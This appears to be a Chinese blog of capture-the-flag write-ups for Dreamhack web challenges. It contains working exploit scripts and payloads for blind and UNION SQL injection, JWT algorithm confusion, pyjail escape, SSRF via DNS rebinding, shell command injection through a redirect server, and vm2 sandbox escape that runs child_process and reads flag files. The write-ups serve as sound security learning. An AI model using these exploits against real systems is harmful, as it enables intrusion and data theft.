Dreamhack 刷题日记喵

What time is it?

题目使用f"{username}.{created_at * 2026}"来作为session,但是在/welcome里,任何用户都可以得知admin的created_at的UTC时间,转为timestamp就可以获得admin的session。

1
2
3
4
5
6
from datetime import datetime, timezone
time_str = "26/01/2026, 08:18:02 UTC"
dt = datetime.strptime(time_str, "%d/%m/%Y, %H:%M:%S UTC")
dt = dt.replace(tzinfo=timezone.utc)
timestamp = int(dt.timestamp())
print("admin." + str(timestamp*2026))

flag

1
DH{It_is_time_t0_s1eep~_~}

22 - SQL Injection Blind

题目提示

  • FLAG exists in adminadmin’s password
  • Why is this being used twice?

源码审计

/search 路由存在SQL注入:

1
2
q2 = q + q  # 输入被重复两次
sql = f"SELECT id, username FROM users WHERE username='{q2}'"

“Why is this being used twice?”

22_repeat

数据库中用户名都是名称的重复,注入的查询语句也会被重复。不过还是可以布尔盲注的。

Payload结构

1
' OR [condition] AND '1'='1

重复后

1
' OR [condition] AND '1'='1' OR [condition] AND '1'='1

最终SQL

1
WHERE username='' OR [condition] AND '1'='1' OR [condition] AND '1'='1

可以看到,第一位单引号与最后一位1闭合了,所以并不影响盲注,并且:

  • 条件为真 → 返回所有用户(包括adminadmin)
  • 条件为假 → No results

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import urllib.parse

BASE_URL = "http://host1.dreamhack.games:23244"
TARGET_URL = f"{BASE_URL}/search"

def check_char(pos, ascii_val):
condition = f"ASCII(SUBSTRING((SELECT password FROM users WHERE username='adminadmin'),{pos},1))={ascii_val}"
payload = f"' OR {condition} AND '1'='1"

params = {'q': payload}

try:
response = requests.get(TARGET_URL, params=params, timeout=5)

if '<li>' in response.text and 'adminadmin</li>' in response.text:
return True
except requests.exceptions.RequestException as e:
print(e)

return False

def exploit():
print("[+] 22...")
flag = ""

for pos in range(1, 100):
found_at_pos = False
for ascii_val in range(32, 127):
if check_char(pos, ascii_val):
char = chr(ascii_val)
flag += char
print(f" [Pos {pos}] 匹配成功: '{char}' -> Current Flag: {flag}")
found_at_pos = True
break

if not found_at_pos or flag.endswith('}'):
break

print(f"\n[!] FLAG: {flag}")

if __name__ == "__main__":
exploit()
# [!] FLAG: DH{Here_Is_FLAG!_Here_Is_FLAG!}

Here, my seat (여기, 내 자리)

Description

When they take a seat at a cafe, they put up their bags or cell phones.

Even after going to the bathroom for a while, if something is there, the seat still looks like the owner is there.

However, Kim Bo-san doesn’t make any trouble and changes the item to his own.

“Here is my place.”

分析

看到有chromium基本上就是XSS了。

审计代码,流程是 /login登陆,如果是admin,拿到session后访问/flag就能获取flag。

1
2
3
4
5
6
7
8
9
10
BASE = "http://localhost:5050"
target = BASE + raw_path # 这个raw_path是通过path参数传入的,可控的
login_url = BASE + "/login?id=admin&password=[FAKE_PASSWORD]"

driver.get(BASE + "/")
driver.get(target)
time.sleep(5)

driver.get(login_url)
time.sleep(1)

分析这个流程发现,它需要先xss再访问登陆网页。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@app.get("/login")
def login():
sid = request.cookies.get(COOKIE_NAME)
userId = request.args.get("id", "")
password = request.args.get("password", "")

print(f"sid:{sid}, userId:{userId}, password:{password}")

resp = make_response(jsonify(ok=True))

with _lock:
# 下面这个sha256_hex我改过了,不然admin也没法登录
if userId == "admin" and sha256_hex(password) == "f2a9786fd090a2ddc191e3ab443d718c23f34ccf7be485a83ef54c3b48ccd5cc":
if (not sid) or (sid not in _store):
sid = newSid()
_store[sid] = {"role": "admin"}
else:
sid = newSid()
_store[sid] = {"role": "guest"}

resp.set_cookie(COOKIE_NAME, sid, httponly=True, path="/")
return resp

分析这个login路由,看到resp.set_cookie(COOKIE_NAME, sid, httponly=True, path="/"),也就是说SESSION并没有和id对应,只是有一个映射关系,那么思路就是先让bot把COOKIE_NAME设置为我的sid就可以了。

哦对了hackbar测试xss的时候要取消勾选cookie。。。

先登陆,我的sid是sKkQf9nxUeVEnIh-PfgTaHzdG-BAcJwB

http://host3.dreamhack.games:23604/xss?payload=

http://host3.dreamhack.games:23604/admin?path=/xss?payload=

local

本地通了,远端no response。无语了,这是什么情况??我可以怀疑是靶机炸了吗?

remote

好的就是靶机炸了

Please Don’t Forget

1
2
3
BASE = Path(__file__).resolve().parent
STORAGE = BASE / "storage"
BOT = BASE / "backend" / "bot.py"

woc这是什么语法,自定义运算符吗?python每天都给我惊喜。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
BASE = Path(__file__).resolve().parent
STORAGE = BASE / "storage"
FRONT = BASE / "frontend"
INTERNAL = "http://127.0.0.1:5006"
ENV_PATH = BASE / "credit"

def read_env_value(key: str):
if not ENV_PATH.exists():
return None
for line in ENV_PATH.read_text(errors="ignore").splitlines():
line = line.strip()
if not line or line.startswith("#") or "=" not in line:
continue
k, v = line.split("=", 1)
if k.strip() == key:
return v.strip().strip('"').strip("'")
return None

@app.get("/flag")
def flag():
role = read_env_value("ROLE")
if role != "admin":
return jsonify({"ok": False, "error": "forbidden"}), 403

flag_value = os.getenv("FLAG", "DH{FAKE-FLAG}")
return jsonify({"ok": True, "flag": flag_value})

先大体审计一下,需要拿到admin的role。

这个internal确实是没有export的,只能通过uploader访问。然后会读取ENV_PATH,默认这个credit是ROLE=guest,检查一下有没有修改它的东西。

1
2
3
4
5
6
7
8
9
10
11
12
13
# 这个在5006端口
@app.post("/process/<n>")
def p(n):
pdf = STORAGE / secure_filename(n)
if not pdf.exists():
return jsonify({"error": "not found"}), 404
r = subprocess.run(
["python", str(BOT), str(pdf)],
capture_output=True, text=True
)
if r.returncode != 0:
return jsonify({"error": r.stderr}), 500
return r.stdout, 200, {"Content-Type": "application/json"}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import fitz, subprocess, sys, json
from pathlib import Path

pdf = Path(sys.argv[1]).resolve()
out = Path(__file__).parent / "extracted" / pdf.stem
out.mkdir(parents=True, exist_ok=True)

doc = fitz.open(str(pdf))
names = doc.embfile_names()
doc.close()

res = []
for i, n in enumerate(names):
o = out / f"file_{i}"
p = subprocess.run(
[sys.executable, "-m", "pymupdf", "embed-extract",
str(pdf), "-name", n],
capture_output=True,
text=True
)
res.append({"name": n, "ok": p.returncode == 0, "out": str(o), "stderr": p.stderr})

print(json.dumps({
"pdf": str(pdf),
"count": len(names),
"names": names,
"results": res
}, ensure_ascii=False))

看到这个bot.py的命令拼接那么就考虑命令注入了。好奇怪的调用链啊:

uploader:5005[POST:/process/] -> internal:5006[POST:/process/] -> exec:bot.py -> exec:pymupdf

[sys.executable, “-m”, “pymupdf”, “embed-extract”, str(pdf), “-name”, n]

由于只能上传pdf,这里猜测是需要构造特别的文件名。先去看看pymupdf的手册.

好的不用找了,AIKIDO-2025-10959: PyMuPDF is vulnerable to Path Traversal in versions 0.23.0 - 1.26.6. 再去看一眼requirements.txt,刚好是1.26.6,结合描述:Please Don’t Forget 2025 😔😔。那一定是这个路径穿越了。修改../credit

这个真好,还有tldr😄

1
Affected versions of this package are vulnerable to Path Traversal because the embedded_get functionality does not properly sanitize the user-controlled path parameter. This allows an attacker to craft a path containing directory traversal sequences, potentially causing files to be written outside the intended working directory or to overwrite existing files. The issue is mitigated by introducing stricter path validation: by default, the command now refuses to write to an existing file or to any location outside the current directory. Writing outside these constraints is only possible when explicitly allowed via the -output option or the newly introduced -unsafe flag, making the security impact opt-in and explicit.

好的那exp就是:

1
2
3
4
5
6
7
8
9
10
11
12
import fitz

doc = fitz.open()
doc.new_page()

doc.embfile_add(
"private/credit", # 内部检索名,用它来目录穿越。
# 这个路径要看仔细啊,前面就觉得这个调用链很绕,pwd是/app
b"ROLE=admin", # 文件内容
)

doc.save("exploit.pdf")

注意一下路径

local

注意一下穿越的路径就可以了。
remote

Gyul Login

Description

Yet another login challenge!

Flag format is B1N4RY{(hex string, lowercase)}.

思路

看到数据库了,考注入吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
@app.route("/login",methods=['POST'])
def login():
banned_word=['from', 'where', 'insert', 'update', 'delete', 'join', 'substr', 'concat', 'table', 'database', 'schema', 'if', 'order', 'group', 'by', 'limit', 'offset', 'exists', 'between', 'regexp', 'binary', 'file', 'not', 'rlike', 'left', 'right', 'mid', 'lpad', 'rpad', 'char', 'user', 'version', 'session', 'sleep', 'benchmark', 'hex', 'base64', '0x', "x'",'x"','admin']
banned_letter='+-*/=:;<>.?!\\$%^~`'
username=request.form.get('username')
password=request.form.get('password')
for word in banned_word:
if (word in username.lower()) or (word in password.lower()):
return render_template('index.html',message='No Hack~ ^_^')
for i in range(0,len(banned_letter),1):
letter=banned_letter[i]
if (letter in username.lower()) or (letter in password.lower()):
return render_template('index.html',message='No Hack~ ^_^')
query=f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
print(query,flush=True)
user=None
try:
connection=db_connection()
cursor=connection.cursor()
cursor.execute(query)
user=cursor.fetchone()
cursor.close()
connection.close()
except:
user=None
finally:
if user and user[1]=='admin':
return render_template('login.html',username=user[1],success=SECRET)
elif user:
return render_template('login.html',username=user[1],success='')
else:
return render_template('index.html',message='Invalid User ID or Password.')

那目标就是SECRET。要满足user and user[1]==’admin’。

init.sql有一行注释掉的-- INSERT INTO users (username,password) VALUES ('admin','**admin_password**');,不过呢还是考虑拼接出admin。

REVERSE(‘nimda’)、REPLACE(‘xdmin’,’x’,’a’)应该都可以的吧。

payload:

1
' union select 1,reverse('nimda'),2#

或者

1
' union select 1,replace('bdmin','b','a'),2#

local_first
hyw

1
2
Hello,admin
Flag is Rootsquare's password.

何意味?没有FROM,考虑盲注

尝试 Rootsquare' AND password LIKE '{test_str}'#

结合提示,Flag format is B1N4RY{(hex string, lowercase)}.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

url = "http://host1.dreamhack.games:16746/login"
alphabet = "0123456789abcdef{}_"

def check(payload):
data = {"username": payload, "password": "any"}
r = requests.post(url, data=data)
return "Invalid" not in r.text

length = 0
for i in range(7): # 2^6 = 64
bit = 1 << i
if check(f"Rootsquare' AND (LENGTH(password) & {bit})#"):
length |= bit
print(f"Password Length: {length}")

flag = ""
for i in range(length):
for char in alphabet:
# 构造类似 'flag' + 'a' + '____' 的结构
underscores = "_" * (length - len(flag) - 1)
test_str = flag + char + underscores
if check(f"Rootsquare' AND password LIKE '{test_str}'#"):
flag += char
print(f"Current Flag: {flag}")
break

# Current Flag: b1_4__{c29663c034fcefabe09d7c1af064caea}

不是,你这提示是何意味啊,你hex string, lowercase,那这flag头是啥,,还好是LIKE模糊匹配…

1
B1N4RY{c29663c034fcefabe09d7c1af064caea}

log in

Description

总是,总是看到的平凡的登录页面。

审计

1
2
3
4
5
6
7
8
9
10
11
12
13
def get_login_user():
try:
with open("log.txt", "r", encoding="utf-8") as f:
for line in reversed(f.readlines()):
line = line.strip()
if line.startswith("user="):
username = line[len("user="):].strip()
if username=="None":
return None
return username
except FileNotFoundError:
return None
return None

这个函数从 log.txt 文件读取最后一行的 user=xxx 来确定当前登录用户,那么就是需要写入[换行]user=admin

pyjail部分用php洗了一遍输入

1
2
3
4
5
6
7
<?php
$data = '';
if ($_SERVER['REQUEST_METHOD'] === 'GET'){
$data = $_GET['text'] ?? "Error: 'text' variable not found in GET body.";
}
echo $data;
?>

好烦人啊,这Chrome一直在发这个东西,还是用Python发吧

1
INFO:werkzeug:192.168.97.1 - - [30/Jan/2026 10:35:02] "GET /.well-known/appspecific/com.chrome.devtools.json HTTP/1.1" 404 -

试了Origin等等,都不好使,就 /%0auser=admin%0a 通过了。挺好的,%0a换行。
user=admin
RCE部分的php涉及到请求参数污染,payload如下

1
2
3
?text=1&text=PAYLOAD
- Flask 解析出 '1' (通过校验)
- PHP 解析出 'PAYLOAD' (返回 Python)

当请求是 ?text=1&text=PAYLOAD 时,Flask 的 MultiDict 解析机制默认获取第一个匹配的值,然后 request.query_string.decode() 会将原始查询字符串一模一样发给 php,然而 PHP 处理 $_GET[] 的标准行为是,当 URL 中存在同名参数时,取最后一个出现的值

pyjail部分套公式,循环查找到os就可以rce了。

1
[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__=='catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('cat /app/flag.txt').read()

pyjail

最终payload:

1
/calc?text=1&text=[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__=='catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('cat /app/flag.txt').read()

ABN Gallery

简单审计一下源码,应该是ssrf+域名@绕过(其实不是)

本地尝试了以下几个,最后发现这个东西本地测不来,直接开靶机吧。

1
2
http://localhost:3000/fetch?url=http://chaomixian.top:80@localhost:3000/admin?log=../../flag
http://localhost:3000/fetch?url=http://127.0.0.1.xip.io:3000/admin?log=../../flag

试了一下这个,居然不行,提示permission denied

1
http://host3.dreamhack.games:16450/fetch?url=http://127.0.0.1.xip.io:3000/admin?log=../../flag

那就很奇怪了,照理说域名没错了啊。然后仔细审计代码,发现他这个hostIsPublic函数居然会验证dns是不是公网…那就是要dns重绑定了,找到一个能用的试试看:

1
http://host3.dreamhack.games:16450/fetch?url=http://7f000001.08080808.rbndr.us:3000/admin?log=../../flag

先解析到8.8.8.8,通过公网检测;然后解析到127.0.0.1,完成ssrf。

1
DH{7hANks_f0r_vI5i71nG_7he_9A11ery:eYOZ2k6PBbcixMZOy+bbXQ==}

Internal Secret

审计代码,发现存在ssrf+host检测,最后是去 SQLi。

SSRF部分

urlparse 与 requests 对 @ 符号解析存在差异
先来看这个payload:

1
http://example.com%2f@redirector:8081

urllib.parse.urlparse (配合 unquote),

优先寻找第一个 斜杠 /。%2f在 web.py 中先被 unquote 还原为 /,导致解析器认为 Host 已结束,判定为 example.com

requests (及其底层 urllib3)

优先寻找 @ 符号。使用原始字符串,%2f 被视为普通字符,不会触发路径分隔。认为 Host 是 redirector:8081

诶,刚刚好绕过了全部检查,同时完成了ssrf。所以:

1
ssrf_url = "http://example.com%2f@redirector:8081/redir?to=http://internalapi:8081/admin/flag"

SQLi部分

1
cur.execute(f"SELECT ev, job, info, t FROM audit ORDER BY {order} DESC LIMIT 80")

/audit接口会返回jobs信息,可以 ORDER BY 注入进行布尔盲注。不过输出都是固定的,唯一可以操控的就是输出列表的顺序,考虑通过正反排序来确认语句的返回值。

1
order_payload = f"t*(CASE WHEN (SELECT result FROM jobs WHERE id='{job_id}') LIKE '%{current_guess}%' THEN 1 ELSE -1 END)"

当然需要先创建一个job。exp的思路就是第一次先读取返回json的第一项的t参数,如果匹配到了,就是正序,也就是真,否则就是逆序,假。需要注意exp跑的时候不要再创建job,不然会有奇奇怪怪的问题😭。

bad_flag

另外还有一个坑点,因为LIKE是不区分大小写,字符集的顺序其实也相当重要。因为注出来的完整数据是有污染的,大概长这样(其实这里诡异的大小写已经埋下伏笔了):

1
coDe_200_HeaDers_{_server____werkzeug_3_1_5_pytHon_3_11_14____Date____sat__31_jan_2026_04_56_45_gmt____content_type____application_json____content_lengtH____26____connection____close_}_boDy_snippet_{_flag___DH{__flag__}_n_}_

我为了直接抓到flag部分,把DH放到了开头,字符集是 charset = "DH{}" + string.ascii_letters + string.digits + "-_",好家伙,当时给我注出来一个DH{25af4e05De78012985212b55},交了不对又注了好几次,怎么也没想到坑在这里😭

qwq

诶,下一题吧…

MemoVault

Description

Your notes aren’t as private as they seem 🔍

审计

(给了docker-compose.yml的题目都是好题目😭,讨厌Dockerfile)
看着应该是考 jwt,毛估估是改HS256利用对称性,就可以通过公钥签名了。简单看了一眼/profile有sql拼接,嗯。

之前遇到jwt题目都是去jwt.io和站长之家的那个工具生成,但是这个网页会强制规范,要是有点不合规的操作会自动纠正。再者如果是线下断网比赛,那就用不了了。所以这回学一下python相关的操作吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def _verify_and_decode_eddsa(token):
if not token:
raise InvalidTokenError("missing token")
header_b64 = token.split('.')[0]
padding = '=' * (-len(header_b64) % 4)
header_bytes = base64.urlsafe_b64decode(header_b64 + padding)
header = json.loads(header_bytes)
alg = header.get("alg", "EdDSA")
pubkey = read_key(PUBLIC_KEY_PATH)
if isinstance(pubkey, bytes):
pubkey = pubkey.decode("utf-8")
return jwt.decode(token, key=pubkey, algorithms=jwt.algorithms.get_default_algorithms())

def _get_token_from_request():
token = request.cookies.get("token")
if not token:
auth = request.headers.get("Authorization", "")
if auth.lower().startswith("bearer "):
token = auth.split(" ", 1)[1].strip()
return token

def _verify_token(token):
if not token:
raise InvalidTokenError("missing token")
pubkey = read_key(PUBLIC_KEY_PATH)
if isinstance(pubkey, bytes):
pubkey = pubkey.decode("utf-8")
return jwt.decode(token, key=pubkey, algorithms=jwt.algorithms.get_default_algorithms())

对的对的啊,algorithms=jwt.algorithms.get_default_algorithms()肯定包含HS256啊。

呃呃呃,要装PyJWT,不是jwt,呃呃呃。嗯?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(ctf) ➜  MemoVault python exp.py    
Traceback (most recent call last):
File "/Users/chao/ctf/Dreamhack/MemoVault/exp.py", line 19, in <module>
fake_token = jwt.encode(payload, public_key_content, algorithm="HS256")
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/Users/chao/miniconda3/envs/ctf/lib/python3.12/site-packages/jwt/api_jwt.py", line 153, in encode
return self._jws.encode(
^^^^^^^^^^^^^^^^^
File "/Users/chao/miniconda3/envs/ctf/lib/python3.12/site-packages/jwt/api_jws.py", line 183, in encode
key = alg_obj.prepare_key(key)
^^^^^^^^^^^^^^^^^^^^^^^^
File "/Users/chao/miniconda3/envs/ctf/lib/python3.12/site-packages/jwt/algorithms.py", line 346, in prepare_key
raise InvalidKeyError(
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

呃呃呃要装2.3的PyJWT,不然会拒绝生成😭(题目附件也是这个版本)

1
2
pip uninstall PyJWT
pip install PyJWT==2.3

先去/static/ed25519_public.pub把公钥下下来。

1
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDU4xkYF1yTDmUaZ9Ha9Km/NTA8Vt8M5r8HKorvaDorl

好的看看SQLi怎么做。

1
cur.execute(f"SELECT id, content FROM notes WHERE owner_id = {uid} ORDER BY id DESC LIMIT 50")

结合schema.sql和seed.sql可以直接确定flag的位置,那么uid注入为0 UNION SELECT 1, value FROM flags就可以了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import jwt

public_key_content = b"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDU4xkYF1yTDmUaZ9Ha9Km/NTA8Vt8M5r8HKorvaDorl"

# 原始查询: SELECT id, content FROM notes WHERE owner_id = {uid} ...
# 注入后: SELECT ... WHERE owner_id = 0 UNION SELECT 1, value FROM flags ...
injection_payload = "0 UNION SELECT 1, value FROM flags"

payload = {
"uid": injection_payload,
"uname": "admin",
"iat": 1700000000,
"exp": 1900000000
}

# 使用 HS256 算法,密钥为公钥内容
fake_token = jwt.encode(payload, public_key_content, algorithm="HS256")

print(f"Cookie: token={fake_token}")

local
remote

HTTP File Reader

解题

居然是go吗。呃呃呃呃看着像SSRF+命令注入,有挺大一串regex,还有回环检测,估计要用dns重绑定?或者302?

1
2
var banned = regexp.MustCompile(`(?i)(flag|[\@\$\*\{\!\?\.\%\;\|\"\'\#\^\&\(\)\+\=\<\>\\])`)
cmd := exec.Command("sh", "-c", "cat " + filename)

估计是要vps搞302了。何意味,vps咋登不上去了😭

1
2
3
4
5
6
7
8
9
10
from flask import Flask, redirect
app = Flask(__name__)

@app.route('/redirect')
def exploit():
# 这里填入 Payload
return redirect('http://127.0.0.1:8080/api/read?filename=/etc/passwd')

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

passwd
ok那确实是302,/etc/passwd能够读到了,需要读/flag.txt,既然给到了一个shell环境,那估计是要到sh的特性。

[]是在的,可以用fl[a]g绕过flag的过滤,但是它ban掉了.,这个怎么都弄不出来。考虑使用反引号执行命令作为cat的参数,不过都没有成功。不过一些特殊符号比如换行符%0A,依然会有奇效。考虑到没有通配符,需要一个能递归遍历并且打印文件的程序,find做不到后者【这是错误的】,但是grep可以。

这里只需要发送/etc/passwd\ngrep -rIs DH /就可以注入命令,并不需要; | &,相当于是回车↩︎了。因为后端使用的Gin框架会自动进行url decode,把%0A解码为\n

grep -rIs DH /-r是递归,-I是忽略二进制文件,-s是静默模式(忽略permission denied报错)。已知flag头是DH,从/开始递归搜索。

所以最后执行的命令就是:

1
2
cat /etc/passwd
grep -rIs DH /

payload如下。注意url编码,/etc/passwd%0Agrep%20-rIs%20DH%20%2f

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask, redirect

app = Flask(__name__)

@app.route('/redirect')
def exploit():

payload = "/etc/passwd%0Agrep%20-rIs%20DH%20%2f"
target_url = f'http://127.0.0.1:8080/api/read?filename={payload}'

print(f"[+] Redirecting target to: {target_url}")
return redirect(target_url)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

remote
woc好有意思

补兑,好像是非预期😳

看了一下别人的wp,都是用dns重绑定+专用字符集😨

啊啊啊我怎么记得冒号是被过滤了啊😭,怎么现在再看就没了…

标准payload应该是

1
curl -X POST http://host3.dreamhack.games:18327/request -d 'host=8efaca0e.7f000001.rbndr.us&port=8080&path=/api/read?filename=/fl[a]g[[:punct:]]txt'

hyw

补兑,这也可以?😳

::ffff:127.0.0.1
8080
/api/read?filename=%0acat%20/fl[a]g[[:graph:]]txt
hywhyw
这是CVE-2024-24790

啊这😨

1
host=::ffff:127.0.0.1&port=8080&path=%2Fapi%2Fread%3Ffilename=%60find%2520/%2520-maxdepth%25201%2520-type%2520f%60

也就是两层url编码,原始payload是:

1
host=::ffff:127.0.0.1&port=8080&path=/api/read?filename=`find / -maxdepth 1 -type f`

不是,哥,,,不是,,,,,啊?因为/下只有一个flag.txt-type f的吗😭
hywhywhyw

啊啊这?

/[f]lag[--0]txt这是什么原理,我尝试了/[f]lag[-0]txt,何意味何意味何意味😭
hywhywhywhyw

啊啊啊这??😨

1
/api/read?filename=/fla[g]`head+-c1+/dev/urandom`txt

无敌了无敌了无敌了无敌了,这个是最无敌的

1
head -c1 /dev/urandom

呜呜呜🥹,人家打ctf是抽卡游戏😭。

啊啊啊啊啊?😭😭😭

1
/fla`echo -n g``tail -c 1 files/cat`txt

原来题目给的cat、dog是真的有用的啊😭

1
2
A cat is a small, furry animal often kept as a pet, known for its playful and independent nature.
It has sharp claws, keen senses, and is loved for being both affectionate and curious.

我真的有想过这种方法,但我找的是/etc/profile的倒数第5行的第五个符号,根本构造不出来😭

怎么还有用cp的😭

1
cp /f[l]ag[[:print:]]txt hello

DEvELOPmENT A Casino

看到 RS256 和 HS256 字样了,考虑jwt修改alg,泄露公钥等等。
啊这,vm2,前几天好像爆了个cve,这题目应该很老的吧,,,

本地没有公钥私钥,算了,直接开环境吧。

/helpsign 泄露公钥

1
2
3
4
5
6
7
8
9
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAkyYHw5C+jPvJh47IMAD6
ukm9/EEuMy3CksWmHthRsOnQrRrbAWMrRYeKw7FPu05+PHeCa4/ElcONV8hY5DO4
LKxaQd/bb3vvvLIw+ihdKnRvxXcNm7cD1X9x6U2DMIuVfywhiE84WkAn7KQQz9W3
YAYFtr3SI4Cpg42slWVP6hAZ+x0hOC8QmvaVWzDak+Kl1oUbEq8PJ0xzrG1qziXV
37Bp3y1EeVdyX/tF7oMN1Gwsf6V5VtYEsfSyWYH8nDpBYQVzx+m4c4z4qWz/hxlb
/34jPmWdtk2gTdokmCeT8xTxieZ/s2WlirpxMieeJ/XAH2CuF/a1AhNF2jsbTVZu
wQIDAQAB
-----END PUBLIC KEY-----

PyJWT死活不允许生成,还是太安全了。让ai手搓了一个自动base64+计算签名的脚本。然后手动替换cookie,,,却发现没用?好奇怪啊,一刷新cookie就重置了。估计有什么没注意到的js,暂时先不管了,因为curl带个Authorization就没问题了。

结果这个vm2还真是什么都没有,完全把sandbox.balance暴露出来了,还有这种好事?参考示例就能修改余额。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 登录vip账号
curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiJjaGFvIiwicm9sZSI6InZpcCIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjoxODAwMDAwMDAwfQ.7EflTBWoE0P_OYFXtyeLlHpSYf1xKdK3ts6XxQrf33g" http://host3.dreamhack.games:16525/api/me
# {"user":{"uid":"chao","role":"vip","iat":1700000000,"exp":1800000000}}

# 修改余额
curl -s -X POST \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiJjaGFvIiwicm9sZSI6InZpcCIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjoxODAwMDAwMDAwfQ.7EflTBWoE0P_OYFXtyeLlHpSYf1xKdK3ts6XxQrf33g" \
-H "Content-Type: application/json" \
-d '{"code":"sandbox.balance=1000000;return sandbox.balance;"}' \
http://host3.dreamhack.games:16525/api/strategy/run
# {"result":{},"logs":[],"finalBalance":1000000,"spins":[]}

# 买flag
curl -s -X POST -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiJjaGFvIiwicm9sZSI6InZpcCIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjoxODAwMDAwMDAwfQ.7EflTBWoE0P_OYFXtyeLlHpSYf1xKdK3ts6XxQrf33g" http://host3.dreamhack.games:16525/api/shop/flag
# {"message":"플래그를 구매했습니다.","flag":"DH{Thank_you_for_saving_my_life}","balance":0}

不过呢,我想玩玩CVE-2026-22709,需要vm2 <= 3.10.0,好的刚好是”vm2”: “3.9.17”。

来一个poc

1
2
3
4
5
6
7
8
9
10
11
12
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })"
);
f();
});

不过有个黑名单 const blackList = /\brequire\b|\bprocess\b|\bchild_process\b|\bfs\b/;

curl -s -X POST
-H “Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiJjaGFvIiwicm9sZSI6InZpcCIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjoxODAwMDAwMDAwfQ.7EflTBWoE0P_OYFXtyeLlHpSYf1xKdK3ts6XxQrf33g”
-H “Content-Type: application/json”
-d ‘{“code”:”const error = new Error();error.name = Symbol();const f = async () => error.stack;const promise = f();promise.catch(e => {const Error = e.constructor;const Function = Error.constructor;const f = new Function(“process.mainModule.require(‘child_process’).execSync(‘echo HELLO WORLD!’, { stdio: ‘inherit’ })”);f();});”}’
http://host3.dreamhack.games:16525/api/strategy/run

curl -s -X POST
-H “Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiJjaGFvIiwicm9sZSI6InZpcCIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjoxODAwMDAwMDAwfQ.7EflTBWoE0P_OYFXtyeLlHpSYf1xKdK3ts6XxQrf33g”
-H “Content-Type: application/json”
-d ‘{“code”:”const _call = Function.prototype.call;Function.prototype.call = function(…args) {_call.apply(console.log, [“[+] Intercepted call from host!”]);return _call.apply(this, args);};Promise.resolve().then(() => {});”}’
http://host3.dreamhack.games:16525/api/strategy/run

好像跑不通啊。

看别人的wp,发现确实有用沙箱逃逸的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const p=args.constructor.constructor("return pro"+"cess")();
const f=p.mainModule["req"+"uire"]("f"+"s");
const flag=f.readFileSync("/app/flag.txt", "utf-8");
throw p.mainModule["req"+"uire"]("f"+"s").writeFileSync("/app/html/index.html",flag).toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}

卧槽还真看见一个赌怪😱:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
from requests.adapters import HTTPAdapter
from concurrent.futures import ThreadPoolExecutor
import time

U = 'http://host8.dreamhack.games:12523/'

s = requests.Session()
s.mount('http://', HTTPAdapter(pool_connections=100, pool_maxsize=100, max_retries=0))
s.cookies.set('auth', s.post(f'{U}/api/login/guest').json()['token'])

def spin():
try: return s.post(f'{U}/api/spin', json={'bet': 1}, timeout=3).json()
except: return {}

bal, rnd = 100, 0
while bal < 1000000:
with ThreadPoolExecutor(max_workers=100) as e:
[f.result() for f in [e.submit(spin) for _ in range(200)]]

bal = s.get(f'{U}/api/balance').json()['balance']
rnd += 1

if rnd % 20 == 0: print(f'R{rnd}: {bal:,}')
if rnd % 10 == 0: time.sleep(0.1)

print(s.post(f'{U}/api/shop/flag').json()['flag'])

这疯狂赌也只要20分钟…

Super Safe File Storage

Discription

Our site has no vulnerabilities! 😗
Our site doesn’t need Guessing! 😎
25.08.24 Patched (add special character, Blacklist.txt)

解题

下载下来的附件只有一句话:blackbox

